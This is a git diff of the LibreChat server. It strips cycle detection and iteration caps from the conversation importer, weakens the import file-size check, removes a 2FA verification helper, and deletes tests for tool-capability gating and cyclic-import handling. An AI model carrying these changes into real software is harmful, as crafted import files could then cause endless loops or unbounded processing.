const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
const mcpManager = getMCPManager();
diff --git a/api/server/services/__tests__/ToolService.spec.js b/api/server/services/__tests__/ToolService.spec.js
index a468a88eb3..2f00bbc3d6 100644
--- a/api/server/services/__tests__/ToolService.spec.js
+++ b/api/server/services/__tests__/ToolService.spec.js
@@ -1,304 +1,15 @@
-const {
- Tools,
- Constants,
- EModelEndpoint,
- actionDelimiter,
- AgentCapabilities,
- defaultAgentCapabilities,
-} = require('librechat-data-provider');
-
-const mockGetEndpointsConfig = jest.fn();
-const mockGetMCPServerTools = jest.fn();
-const mockGetCachedTools = jest.fn();
-jest.mock('~/server/services/Config', () => ({
- getEndpointsConfig: (...args) => mockGetEndpointsConfig(...args),
- getMCPServerTools: (...args) => mockGetMCPServerTools(...args),
- getCachedTools: (...args) => mockGetCachedTools(...args),
-}));
-
-const mockLoadToolDefinitions = jest.fn();
-const mockGetUserMCPAuthMap = jest.fn();
-jest.mock('@librechat/api', () => ({
- ...jest.requireActual('@librechat/api'),
- loadToolDefinitions: (...args) => mockLoadToolDefinitions(...args),
- getUserMCPAuthMap: (...args) => mockGetUserMCPAuthMap(...args),
-}));
-
-const mockLoadToolsUtil = jest.fn();
-jest.mock('~/app/clients/tools/util', () => ({
- loadTools: (...args) => mockLoadToolsUtil(...args),
-}));
-
-const mockLoadActionSets = jest.fn();
-jest.mock('~/server/services/Tools/credentials', () => ({
- loadAuthValues: jest.fn().mockResolvedValue({}),
-}));
-jest.mock('~/server/services/Tools/search', () => ({
- createOnSearchResults: jest.fn(),
-}));
-jest.mock('~/server/services/Tools/mcp', () => ({
- reinitMCPServer: jest.fn(),
-}));
-jest.mock('~/server/services/Files/process', () => ({
- processFileURL: jest.fn(),
- uploadImageBuffer: jest.fn(),
-}));
-jest.mock('~/app/clients/tools/util/fileSearch', () => ({
- primeFiles: jest.fn().mockResolvedValue({}),
-}));
-jest.mock('~/server/services/Files/Code/process', () => ({
- primeFiles: jest.fn().mockResolvedValue({}),
-}));
-jest.mock('../ActionService', () => ({
- loadActionSets: (...args) => mockLoadActionSets(...args),
- decryptMetadata: jest.fn(),
- createActionTool: jest.fn(),
- domainParser: jest.fn(),
-}));
-jest.mock('~/server/services/Threads', () => ({
- recordUsage: jest.fn(),
-}));
-jest.mock('~/models', () => ({
- findPluginAuthsByKeys: jest.fn(),
-}));
-jest.mock('~/config', () => ({
- getFlowStateManager: jest.fn(() => ({})),
-}));
-jest.mock('~/cache', () => ({
- getLogStores: jest.fn(() => ({})),
-}));
-
-const {
- loadAgentTools,
- loadToolsForExecution,
- resolveAgentCapabilities,
-} = require('../ToolService');
-
-function createMockReq(capabilities) {
- return {
- user: { id: 'user_123' },
- config: {
- endpoints: {
- [EModelEndpoint.agents]: {
- capabilities,
- },
- },
- },
- };
-}
-
-function createEndpointsConfig(capabilities) {
- return {
- [EModelEndpoint.agents]: { capabilities },
- };
-}
-
-describe('ToolService - Action Capability Gating', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- mockLoadToolDefinitions.mockResolvedValue({
- toolDefinitions: [],
- toolRegistry: new Map(),
- hasDeferredTools: false,
- });
- mockLoadToolsUtil.mockResolvedValue({ loadedTools: [], toolContextMap: {} });
- mockLoadActionSets.mockResolvedValue([]);
- });
-
- describe('resolveAgentCapabilities', () => {
- it('should return capabilities from endpoints config', async () => {
- const capabilities = [AgentCapabilities.tools, AgentCapabilities.actions];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- const result = await resolveAgentCapabilities(req, req.config, 'agent_123');
-
- expect(result).toBeInstanceOf(Set);
- expect(result.has(AgentCapabilities.tools)).toBe(true);
- expect(result.has(AgentCapabilities.actions)).toBe(true);
- expect(result.has(AgentCapabilities.web_search)).toBe(false);
- });
-
- it('should fall back to default capabilities for ephemeral agents with empty config', async () => {
- const req = createMockReq(defaultAgentCapabilities);
- mockGetEndpointsConfig.mockResolvedValue({});
-
- const result = await resolveAgentCapabilities(req, req.config, Constants.EPHEMERAL_AGENT_ID);
-
- for (const cap of defaultAgentCapabilities) {
- expect(result.has(cap)).toBe(true);
- }
- });
-
- it('should return empty set when no capabilities and not ephemeral', async () => {
- const req = createMockReq([]);
- mockGetEndpointsConfig.mockResolvedValue({});
-
- const result = await resolveAgentCapabilities(req, req.config, 'agent_123');
-
- expect(result.size).toBe(0);
- });
- });
-
- describe('loadAgentTools (definitionsOnly=true) — action tool filtering', () => {
- const actionToolName = `get_weather${actionDelimiter}api_example_com`;
- const regularTool = 'calculator';
-
- it('should exclude action tools from definitions when actions capability is disabled', async () => {
- const capabilities = [AgentCapabilities.tools, AgentCapabilities.web_search];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- await loadAgentTools({
- req,
- res: {},
- agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
- definitionsOnly: true,
- });
-
- expect(mockLoadToolDefinitions).toHaveBeenCalledTimes(1);
- const [callArgs] = mockLoadToolDefinitions.mock.calls[0];
- expect(callArgs.tools).toContain(regularTool);
- expect(callArgs.tools).not.toContain(actionToolName);
- });
-
- it('should include action tools in definitions when actions capability is enabled', async () => {
- const capabilities = [AgentCapabilities.tools, AgentCapabilities.actions];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- await loadAgentTools({
- req,
- res: {},
- agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
- definitionsOnly: true,
- });
-
- expect(mockLoadToolDefinitions).toHaveBeenCalledTimes(1);
- const [callArgs] = mockLoadToolDefinitions.mock.calls[0];
- expect(callArgs.tools).toContain(regularTool);
- expect(callArgs.tools).toContain(actionToolName);
- });
-
- it('should return actionsEnabled in the result', async () => {
- const capabilities = [AgentCapabilities.tools];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- const result = await loadAgentTools({
- req,
- res: {},
- agent: { id: 'agent_123', tools: [regularTool] },
- definitionsOnly: true,
- });
-
- expect(result.actionsEnabled).toBe(false);
- });
- });
-
- describe('loadAgentTools (definitionsOnly=false) — action tool filtering', () => {
- const actionToolName = `get_weather${actionDelimiter}api_example_com`;
- const regularTool = 'calculator';
-
- it('should not load action sets when actions capability is disabled', async () => {
- const capabilities = [AgentCapabilities.tools, AgentCapabilities.web_search];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- await loadAgentTools({
- req,
- res: {},
- agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
- definitionsOnly: false,
- });
-
- expect(mockLoadActionSets).not.toHaveBeenCalled();
- });
-
- it('should load action sets when actions capability is enabled and action tools present', async () => {
- const capabilities = [AgentCapabilities.tools, AgentCapabilities.actions];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- await loadAgentTools({
- req,
- res: {},
- agent: { id: 'agent_123', tools: [regularTool, actionToolName] },
- definitionsOnly: false,
- });
-
- expect(mockLoadActionSets).toHaveBeenCalledWith({ agent_id: 'agent_123' });
- });
- });
-
- describe('loadToolsForExecution — action tool gating', () => {
- const actionToolName = `get_weather${actionDelimiter}api_example_com`;
- const regularTool = Tools.web_search;
-
- it('should skip action tool loading when actionsEnabled=false', async () => {
- const req = createMockReq([]);
- req.config = {};
-
- const result = await loadToolsForExecution({
- req,
- res: {},
- agent: { id: 'agent_123' },
- toolNames: [regularTool, actionToolName],
- actionsEnabled: false,
- });
-
- expect(mockLoadActionSets).not.toHaveBeenCalled();
- expect(result.loadedTools).toBeDefined();
- });
-
- it('should load action tools when actionsEnabled=true', async () => {
- const req = createMockReq([AgentCapabilities.actions]);
- req.config = {};
-
- await loadToolsForExecution({
- req,
- res: {},
- agent: { id: 'agent_123' },
- toolNames: [actionToolName],
- actionsEnabled: true,
- });
-
- expect(mockLoadActionSets).toHaveBeenCalledWith({ agent_id: 'agent_123' });
- });
-
- it('should resolve actionsEnabled from capabilities when not explicitly provided', async () => {
- const capabilities = [AgentCapabilities.tools];
- const req = createMockReq(capabilities);
- mockGetEndpointsConfig.mockResolvedValue(createEndpointsConfig(capabilities));
-
- await loadToolsForExecution({
- req,
- res: {},
- agent: { id: 'agent_123' },
- toolNames: [actionToolName],
- });
-
- expect(mockGetEndpointsConfig).toHaveBeenCalled();
- expect(mockLoadActionSets).not.toHaveBeenCalled();
- });
-
- it('should not call loadActionSets when there are no action tools', async () => {
- const req = createMockReq([AgentCapabilities.actions]);
- req.config = {};
-
- await loadToolsForExecution({
- req,
- res: {},
- agent: { id: 'agent_123' },
- toolNames: [regularTool],
- actionsEnabled: true,
- });
-
- expect(mockLoadActionSets).not.toHaveBeenCalled();
- });
- });
+const { AgentCapabilities, defaultAgentCapabilities } = require('librechat-data-provider');
+/**
+ * Tests for ToolService capability checking logic.
+ * The actual loadAgentTools function has many dependencies, so we test
+ * the capability checking logic in isolation.
+ */
+describe('ToolService - Capability Checking', () => {
describe('checkCapability logic', () => {
+ /**
+ * Simulates the checkCapability function from loadAgentTools
+ */
const createCheckCapability = (enabledCapabilities, logger = { warn: jest.fn() }) => {
return (capability) => {
const enabled = enabledCapabilities.has(capability);
@@ -408,68 +119,26 @@ describe('ToolService - Action Capability Gating', () => {
});
});
- describe('userMCPAuthMap gating', () => {
- const shouldFetchMCPAuth = (tools) =>
- tools?.some((t) => t.includes(Constants.mcp_delimiter)) ?? false;
-
- it('should return true when agent has MCP tools', () => {
- const tools = ['web_search', `search${Constants.mcp_delimiter}my-mcp-server`, 'calculator'];
- expect(shouldFetchMCPAuth(tools)).toBe(true);
- });
-
- it('should return false when agent has no MCP tools', () => {
- const tools = ['web_search', 'calculator', 'code_interpreter'];
- expect(shouldFetchMCPAuth(tools)).toBe(false);
- });
-
- it('should return false when tools is empty', () => {
- expect(shouldFetchMCPAuth([])).toBe(false);
- });
-
- it('should return false when tools is undefined', () => {
- expect(shouldFetchMCPAuth(undefined)).toBe(false);
- });
-
- it('should return false when tools is null', () => {
- expect(shouldFetchMCPAuth(null)).toBe(false);
- });
-
- it('should detect MCP tools with different server names', () => {
- const tools = [
- `listFiles${Constants.mcp_delimiter}file-server`,
- `query${Constants.mcp_delimiter}db-server`,
- ];
- expect(shouldFetchMCPAuth(tools)).toBe(true);
- });
-
- it('should return true even when only one tool is MCP', () => {
- const tools = [
- 'web_search',
- 'calculator',
- 'code_interpreter',
- `echo${Constants.mcp_delimiter}test-server`,
- ];
- expect(shouldFetchMCPAuth(tools)).toBe(true);
- });
- });
-
describe('deferredToolsEnabled integration', () => {
it('should correctly determine deferredToolsEnabled from capabilities set', () => {
const createCheckCapability = (enabledCapabilities) => {
return (capability) => enabledCapabilities.has(capability);
};
+ // When deferred_tools is in capabilities
const withDeferred = new Set([AgentCapabilities.deferred_tools, AgentCapabilities.tools]);
const checkWithDeferred = createCheckCapability(withDeferred);
expect(checkWithDeferred(AgentCapabilities.deferred_tools)).toBe(true);
+ // When deferred_tools is NOT in capabilities
const withoutDeferred = new Set([AgentCapabilities.tools, AgentCapabilities.actions]);
const checkWithoutDeferred = createCheckCapability(withoutDeferred);
expect(checkWithoutDeferred(AgentCapabilities.deferred_tools)).toBe(false);
});
it('should use defaultAgentCapabilities when no capabilities configured', () => {
- const endpointsConfig = {};
+ // Simulates the fallback behavior in loadAgentTools
+ const endpointsConfig = {}; // No capabilities configured
const enabledCapabilities = new Set(
endpointsConfig?.capabilities ?? defaultAgentCapabilities,
);
diff --git a/api/server/services/twoFactorService.js b/api/server/services/twoFactorService.js
index 313c557133..cce24e2322 100644
--- a/api/server/services/twoFactorService.js
+++ b/api/server/services/twoFactorService.js
@@ -153,11 +153,9 @@ const generateBackupCodes = async (count = 10) => {
* @param {Object} params
* @param {Object} params.user
* @param {string} params.backupCode
- * @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database.
- * Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment).
* @returns {Promise}
*/
-const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
+const verifyBackupCode = async ({ user, backupCode }) => {
if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
return false;
}
@@ -167,50 +165,17 @@ const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
(codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
);
- if (!matchingCode) {
- return false;
- }
-
- if (persist) {
+ if (matchingCode) {
const updatedBackupCodes = user.backupCodes.map((codeObj) =>
codeObj.codeHash === hashedInput && !codeObj.used
? { ...codeObj, used: true, usedAt: new Date() }
: codeObj,
);
+ // Update the user record with the marked backup code.
await updateUser(user._id, { backupCodes: updatedBackupCodes });
+ return true;
}
- return true;
-};
-
-/**
- * Verifies a user's identity via TOTP token or backup code.
- * @param {Object} params
- * @param {Object} params.user - The user document (must include totpSecret and backupCodes).
- * @param {string} [params.token] - A 6-digit TOTP token.
- * @param {string} [params.backupCode] - An 8-character backup code.
- * @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB.
- * @returns {Promise<{ verified: boolean, status?: number, message?: string }>}
- */
-const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => {
- if (!token && !backupCode) {
- return { verified: false, status: 400 };
- }
-
- if (token) {
- const secret = await getTOTPSecret(user.totpSecret);
- if (!secret) {
- return { verified: false, status: 400, message: '2FA secret is missing or corrupted' };
- }
- const ok = await verifyTOTP(secret, token);
- return ok
- ? { verified: true }
- : { verified: false, status: 401, message: 'Invalid token or backup code' };
- }
-
- const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse });
- return ok
- ? { verified: true }
- : { verified: false, status: 401, message: 'Invalid token or backup code' };
+ return false;
};
/**
@@ -248,12 +213,11 @@ const generate2FATempToken = (userId) => {
};
module.exports = {
- verifyOTPOrBackupCode,
- generate2FATempToken,
- generateBackupCodes,
generateTOTPSecret,
- verifyBackupCode,
- getTOTPSecret,
generateTOTP,
verifyTOTP,
+ generateBackupCodes,
+ verifyBackupCode,
+ getTOTPSecret,
+ generate2FATempToken,
};
diff --git a/api/server/utils/__tests__/sendEmail.spec.js b/api/server/utils/__tests__/sendEmail.spec.js
deleted file mode 100644
index 5c79094c53..0000000000
--- a/api/server/utils/__tests__/sendEmail.spec.js
+++ /dev/null
@@ -1,143 +0,0 @@
-const nodemailer = require('nodemailer');
-const { readFileAsString } = require('@librechat/api');
-
-jest.mock('nodemailer');
-jest.mock('@librechat/data-schemas', () => ({
- logger: { debug: jest.fn(), warn: jest.fn(), error: jest.fn() },
-}));
-jest.mock('@librechat/api', () => ({
- logAxiosError: jest.fn(),
- isEnabled: jest.fn((val) => val === 'true' || val === true),
- readFileAsString: jest.fn(),
-}));
-
-const savedEnv = { ...process.env };
-
-const mockSendMail = jest.fn().mockResolvedValue({ messageId: 'test-id' });
-
-beforeEach(() => {
- jest.clearAllMocks();
- process.env = { ...savedEnv };
- process.env.EMAIL_HOST = 'smtp.example.com';
- process.env.EMAIL_PORT = '587';
- process.env.EMAIL_FROM = 'noreply@example.com';
- process.env.APP_TITLE = 'TestApp';
- delete process.env.EMAIL_USERNAME;
- delete process.env.EMAIL_PASSWORD;
- delete process.env.MAILGUN_API_KEY;
- delete process.env.MAILGUN_DOMAIN;
- delete process.env.EMAIL_SERVICE;
- delete process.env.EMAIL_ENCRYPTION;
- delete process.env.EMAIL_ENCRYPTION_HOSTNAME;
- delete process.env.EMAIL_ALLOW_SELFSIGNED;
-
- readFileAsString.mockResolvedValue({ content: '{{name}}
' });
- nodemailer.createTransport.mockReturnValue({ sendMail: mockSendMail });
-});
-
-afterAll(() => {
- process.env = savedEnv;
-});
-
-/** Loads a fresh copy of sendEmail so process.env reads are re-evaluated. */
-function loadSendEmail() {
- jest.resetModules();
- jest.mock('nodemailer', () => ({
- createTransport: jest.fn().mockReturnValue({ sendMail: mockSendMail }),
- }));
- jest.mock('@librechat/data-schemas', () => ({
- logger: { debug: jest.fn(), warn: jest.fn(), error: jest.fn() },
- }));
- jest.mock('@librechat/api', () => ({
- logAxiosError: jest.fn(),
- isEnabled: jest.fn((val) => val === 'true' || val === true),
- readFileAsString: jest.fn().mockResolvedValue({ content: '{{name}}
' }),
- }));
- return require('../sendEmail');
-}
-
-const baseParams = {
- email: 'user@example.com',
- subject: 'Test',
- payload: { name: 'User' },
- template: 'test.handlebars',
-};
-
-describe('sendEmail SMTP auth assembly', () => {
- it('includes auth when both EMAIL_USERNAME and EMAIL_PASSWORD are set', async () => {
- process.env.EMAIL_USERNAME = 'smtp_user';
- process.env.EMAIL_PASSWORD = 'smtp_pass';
- const sendEmail = loadSendEmail();
- const { createTransport } = require('nodemailer');
-
- await sendEmail(baseParams);
-
- expect(createTransport).toHaveBeenCalledTimes(1);
- const transporterOptions = createTransport.mock.calls[0][0];
- expect(transporterOptions.auth).toEqual({
- user: 'smtp_user',
- pass: 'smtp_pass',
- });
- });
-
- it('omits auth when both EMAIL_USERNAME and EMAIL_PASSWORD are absent', async () => {
- const sendEmail = loadSendEmail();
- const { createTransport } = require('nodemailer');
-
- await sendEmail(baseParams);
-
- expect(createTransport).toHaveBeenCalledTimes(1);
- const transporterOptions = createTransport.mock.calls[0][0];
- expect(transporterOptions.auth).toBeUndefined();
- });
-
- it('omits auth and logs a warning when only EMAIL_USERNAME is set', async () => {
- process.env.EMAIL_USERNAME = 'smtp_user';
- const sendEmail = loadSendEmail();
- const { createTransport } = require('nodemailer');
- const { logger: freshLogger } = require('@librechat/data-schemas');
-
- await sendEmail(baseParams);
-
- const transporterOptions = createTransport.mock.calls[0][0];
- expect(transporterOptions.auth).toBeUndefined();
- expect(freshLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('EMAIL_USERNAME and EMAIL_PASSWORD must both be set'),
- );
- });
-
- it('omits auth and logs a warning when only EMAIL_PASSWORD is set', async () => {
- process.env.EMAIL_PASSWORD = 'smtp_pass';
- const sendEmail = loadSendEmail();
- const { createTransport } = require('nodemailer');
- const { logger: freshLogger } = require('@librechat/data-schemas');
-
- await sendEmail(baseParams);
-
- const transporterOptions = createTransport.mock.calls[0][0];
- expect(transporterOptions.auth).toBeUndefined();
- expect(freshLogger.warn).toHaveBeenCalledWith(
- expect.stringContaining('EMAIL_USERNAME and EMAIL_PASSWORD must both be set'),
- );
- });
-
- it('does not log a warning when both credentials are properly set', async () => {
- process.env.EMAIL_USERNAME = 'smtp_user';
- process.env.EMAIL_PASSWORD = 'smtp_pass';
- const sendEmail = loadSendEmail();
- const { logger: freshLogger } = require('@librechat/data-schemas');
-
- await sendEmail(baseParams);
-
- expect(freshLogger.warn).not.toHaveBeenCalled();
- });
-
- it('does not log a warning when both credentials are absent', async () => {
- const sendEmail = loadSendEmail();
- const { logger: freshLogger } = require('@librechat/data-schemas');
-
- await sendEmail(baseParams);
-
- expect(freshLogger.warn).not.toHaveBeenCalled();
- });
-});
diff --git a/api/server/utils/import/fork.js b/api/server/utils/import/fork.js
index f896de378c..c4ce8cb5d4 100644
--- a/api/server/utils/import/fork.js
+++ b/api/server/utils/import/fork.js
@@ -358,15 +358,16 @@ function splitAtTargetLevel(messages, targetMessageId) {
* @param {object} params - The parameters for duplicating the conversation.
* @param {string} params.userId - The ID of the user duplicating the conversation.
* @param {string} params.conversationId - The ID of the conversation to duplicate.
- * @param {string} [params.title] - Optional title override for the duplicate.
* @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
*/
-async function duplicateConversation({ userId, conversationId, title }) {
+async function duplicateConversation({ userId, conversationId }) {
+ // Get original conversation
const originalConvo = await getConvo(userId, conversationId);
if (!originalConvo) {
throw new Error('Conversation not found');
}
+ // Get original messages
const originalMessages = await getMessages({
user: userId,
conversationId,
@@ -382,11 +383,14 @@ async function duplicateConversation({ userId, conversationId, title }) {
cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
- const duplicateTitle = title || originalConvo.title;
- const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo);
+ const result = importBatchBuilder.finishConversation(
+ originalConvo.title,
+ new Date(),
+ originalConvo,
+ );
await importBatchBuilder.saveBatch();
logger.debug(
- `user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`,
+ `user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`,
);
const conversation = await getConvo(userId, result.conversation.conversationId);
diff --git a/api/server/utils/import/importConversations.js b/api/server/utils/import/importConversations.js
index e56176c609..d9e4d4332d 100644
--- a/api/server/utils/import/importConversations.js
+++ b/api/server/utils/import/importConversations.js
@@ -1,10 +1,7 @@
const fs = require('fs').promises;
-const { resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { getImporter } = require('./importers');
-const maxFileSize = resolveImportMaxFileSize();
-
/**
* Job definition for importing a conversation.
* @param {{ filepath, requestUserId }} job - The job object.
@@ -14,10 +11,11 @@ const importConversations = async (job) => {
try {
logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
+ /* error if file is too large */
const fileInfo = await fs.stat(filepath);
- if (fileInfo.size > maxFileSize) {
+ if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) {
throw new Error(
- `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`,
+ `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`,
);
}
diff --git a/api/server/utils/import/importers-timestamp.spec.js b/api/server/utils/import/importers-timestamp.spec.js
index 02f24f72ae..c7665dfe25 100644
--- a/api/server/utils/import/importers-timestamp.spec.js
+++ b/api/server/utils/import/importers-timestamp.spec.js
@@ -1,4 +1,3 @@
-const { logger } = require('@librechat/data-schemas');
const { Constants } = require('librechat-data-provider');
const { ImportBatchBuilder } = require('./importBatchBuilder');
const { getImporter } = require('./importers');
@@ -369,133 +368,6 @@ describe('Import Timestamp Ordering', () => {
new Date(nullTimeMsg.createdAt).getTime(),
);
});
-
- test('should terminate on cyclic parent relationships and break cycles before saving', async () => {
- const warnSpy = jest.spyOn(logger, 'warn');
- const jsonData = [
- {
- title: 'Cycle Test',
- create_time: 1700000000,
- mapping: {
- 'root-node': {
- id: 'root-node',
- message: null,
- parent: null,
- children: ['message-a'],
- },
- 'message-a': {
- id: 'message-a',
- message: {
- id: 'message-a',
- author: { role: 'user' },
- create_time: 1700000000,
- content: { content_type: 'text', parts: ['Message A'] },
- metadata: {},
- },
- parent: 'message-b',
- children: ['message-b'],
- },
- 'message-b': {
- id: 'message-b',
- message: {
- id: 'message-b',
- author: { role: 'assistant' },
- create_time: 1700000000,
- content: { content_type: 'text', parts: ['Message B'] },
- metadata: {},
- },
- parent: 'message-a',
- children: ['message-a'],
- },
- },
- },
- ];
-
- const requestUserId = 'user-123';
- const importBatchBuilder = new ImportBatchBuilder(requestUserId);
-
- const importer = getImporter(jsonData);
- await importer(jsonData, requestUserId, () => importBatchBuilder);
-
- const { messages } = importBatchBuilder;
- expect(messages).toHaveLength(2);
-
- const msgA = messages.find((m) => m.text === 'Message A');
- const msgB = messages.find((m) => m.text === 'Message B');
- expect(msgA).toBeDefined();
- expect(msgB).toBeDefined();
-
- const roots = messages.filter((m) => m.parentMessageId === Constants.NO_PARENT);
- expect(roots).toHaveLength(1);
-
- const [root] = roots;
- const nonRoot = messages.find((m) => m.parentMessageId !== Constants.NO_PARENT);
- expect(nonRoot.parentMessageId).toBe(root.messageId);
-
- expect(warnSpy).toHaveBeenCalledWith(expect.stringContaining('cyclic parent relationships'));
- warnSpy.mockRestore();
- });
-
- test('should not hang when findValidParent encounters a skippable-message cycle', async () => {
- const jsonData = [
- {
- title: 'Skippable Cycle Test',
- create_time: 1700000000,
- mapping: {
- 'root-node': {
- id: 'root-node',
- message: null,
- parent: null,
- children: ['real-msg'],
- },
- 'sys-a': {
- id: 'sys-a',
- message: {
- id: 'sys-a',
- author: { role: 'system' },
- create_time: 1700000000,
- content: { content_type: 'text', parts: ['system a'] },
- metadata: {},
- },
- parent: 'sys-b',
- children: ['real-msg'],
- },
- 'sys-b': {
- id: 'sys-b',
- message: {
- id: 'sys-b',
- author: { role: 'system' },
- create_time: 1700000000,
- content: { content_type: 'text', parts: ['system b'] },
- metadata: {},
- },
- parent: 'sys-a',
- children: [],
- },
- 'real-msg': {
- id: 'real-msg',
- message: {
- id: 'real-msg',
- author: { role: 'user' },
- create_time: 1700000001,
- content: { content_type: 'text', parts: ['Hello'] },
- metadata: {},
- },
- parent: 'sys-a',
- children: [],
- },
- },
- },
- ];
-
- const importBatchBuilder = new ImportBatchBuilder('user-123');
- const importer = getImporter(jsonData);
- await importer(jsonData, 'user-123', () => importBatchBuilder);
-
- const realMsg = importBatchBuilder.messages.find((m) => m.text === 'Hello');
- expect(realMsg).toBeDefined();
- expect(realMsg.parentMessageId).toBe(Constants.NO_PARENT);
- });
});
describe('Comparison with Fork Functionality', () => {
diff --git a/api/server/utils/import/importers.js b/api/server/utils/import/importers.js
index 39734c181c..81a0f048df 100644
--- a/api/server/utils/import/importers.js
+++ b/api/server/utils/import/importers.js
@@ -324,42 +324,32 @@ function processConversation(conv, importBatchBuilder, requestUserId) {
}
/**
- * Finds the nearest valid parent by traversing up through skippable messages
- * (system, reasoning_recap, thoughts). Uses iterative traversal to avoid
- * stack overflow on deep chains of skippable messages.
- *
- * @param {string} startId - The ID of the starting parent message.
+ * Helper function to find the nearest valid parent (skips system, reasoning_recap, and thoughts messages)
+ * @param {string} parentId - The ID of the parent message.
* @returns {string} The ID of the nearest valid parent message.
*/
- const findValidParent = (startId) => {
- const visited = new Set();
- let parentId = startId;
-
- while (parentId) {
- if (!messageMap.has(parentId) || visited.has(parentId)) {
- return Constants.NO_PARENT;
- }
- visited.add(parentId);
-
- const parentMapping = conv.mapping[parentId];
- if (!parentMapping?.message) {
- return Constants.NO_PARENT;
- }
-
- const contentType = parentMapping.message.content?.content_type;
- const shouldSkip =
- parentMapping.message.author?.role === 'system' ||
- contentType === 'reasoning_recap' ||
- contentType === 'thoughts';
-
- if (!shouldSkip) {
- return messageMap.get(parentId);
- }
-
- parentId = parentMapping.parent;
+ const findValidParent = (parentId) => {
+ if (!parentId || !messageMap.has(parentId)) {
+ return Constants.NO_PARENT;
}
- return Constants.NO_PARENT;
+ const parentMapping = conv.mapping[parentId];
+ if (!parentMapping?.message) {
+ return Constants.NO_PARENT;
+ }
+
+ /* If parent is a system message, reasoning_recap, or thoughts, traverse up to find the nearest valid parent */
+ const contentType = parentMapping.message.content?.content_type;
+ const shouldSkip =
+ parentMapping.message.author?.role === 'system' ||
+ contentType === 'reasoning_recap' ||
+ contentType === 'thoughts';
+
+ if (shouldSkip) {
+ return findValidParent(parentMapping.parent);
+ }
+
+ return messageMap.get(parentId);
};
/**
@@ -476,10 +466,7 @@ function processConversation(conv, importBatchBuilder, requestUserId) {
messages.push(message);
}
- const cycleDetected = adjustTimestampsForOrdering(messages);
- if (cycleDetected) {
- breakParentCycles(messages);
- }
+ adjustTimestampsForOrdering(messages);
for (const message of messages) {
importBatchBuilder.saveMessage(message);
@@ -566,30 +553,21 @@ function formatMessageText(messageData) {
* Messages are sorted by createdAt and buildTree expects parents to appear before children.
* ChatGPT exports can have slight timestamp inversions (e.g., tool call results
* arriving a few ms before their parent). Uses multiple passes to handle cascading adjustments.
- * Capped at N passes (where N = message count) to guarantee termination on cyclic graphs.
*
* @param {Array} messages - Array of message objects with messageId, parentMessageId, and createdAt.
- * @returns {boolean} True if cyclic parent relationships were detected.
*/
function adjustTimestampsForOrdering(messages) {
- if (messages.length === 0) {
- return false;
- }
-
const timestampMap = new Map();
- for (const msg of messages) {
- timestampMap.set(msg.messageId, msg.createdAt);
- }
+ messages.forEach((msg) => timestampMap.set(msg.messageId, msg.createdAt));
let hasChanges = true;
- let remainingPasses = messages.length;
- while (hasChanges && remainingPasses > 0) {
+ while (hasChanges) {
hasChanges = false;
- remainingPasses--;
for (const message of messages) {
if (message.parentMessageId && message.parentMessageId !== Constants.NO_PARENT) {
const parentTimestamp = timestampMap.get(message.parentMessageId);
if (parentTimestamp && message.createdAt <= parentTimestamp) {
+ // Bump child timestamp to 1ms after parent
message.createdAt = new Date(parentTimestamp.getTime() + 1);
timestampMap.set(message.messageId, message.createdAt);
hasChanges = true;
@@ -597,49 +575,6 @@ function adjustTimestampsForOrdering(messages) {
}
}
}
-
- const cycleDetected = remainingPasses === 0 && hasChanges;
- if (cycleDetected) {
- logger.warn(
- '[importers] Detected cyclic parent relationships while adjusting import timestamps',
- );
- }
- return cycleDetected;
-}
-
-/**
- * Severs cyclic parentMessageId back-edges so saved messages form a valid tree.
- * Walks each message's parent chain; if a message is visited twice, its parentMessageId
- * is set to NO_PARENT to break the cycle.
- *
- * @param {Array} messages - Array of message objects with messageId and parentMessageId.
- */
-function breakParentCycles(messages) {
- const parentLookup = new Map();
- for (const msg of messages) {
- parentLookup.set(msg.messageId, msg);
- }
-
- const settled = new Set();
- for (const message of messages) {
- const chain = new Set();
- let current = message;
- while (current && !settled.has(current.messageId)) {
- if (chain.has(current.messageId)) {
- current.parentMessageId = Constants.NO_PARENT;
- break;
- }
- chain.add(current.messageId);
- const parentId = current.parentMessageId;
- if (!parentId || parentId === Constants.NO_PARENT) {
- break;
- }
- current = parentLookup.get(parentId);
- }
- for (const id of chain) {
- settled.add(id);
- }
- }
}
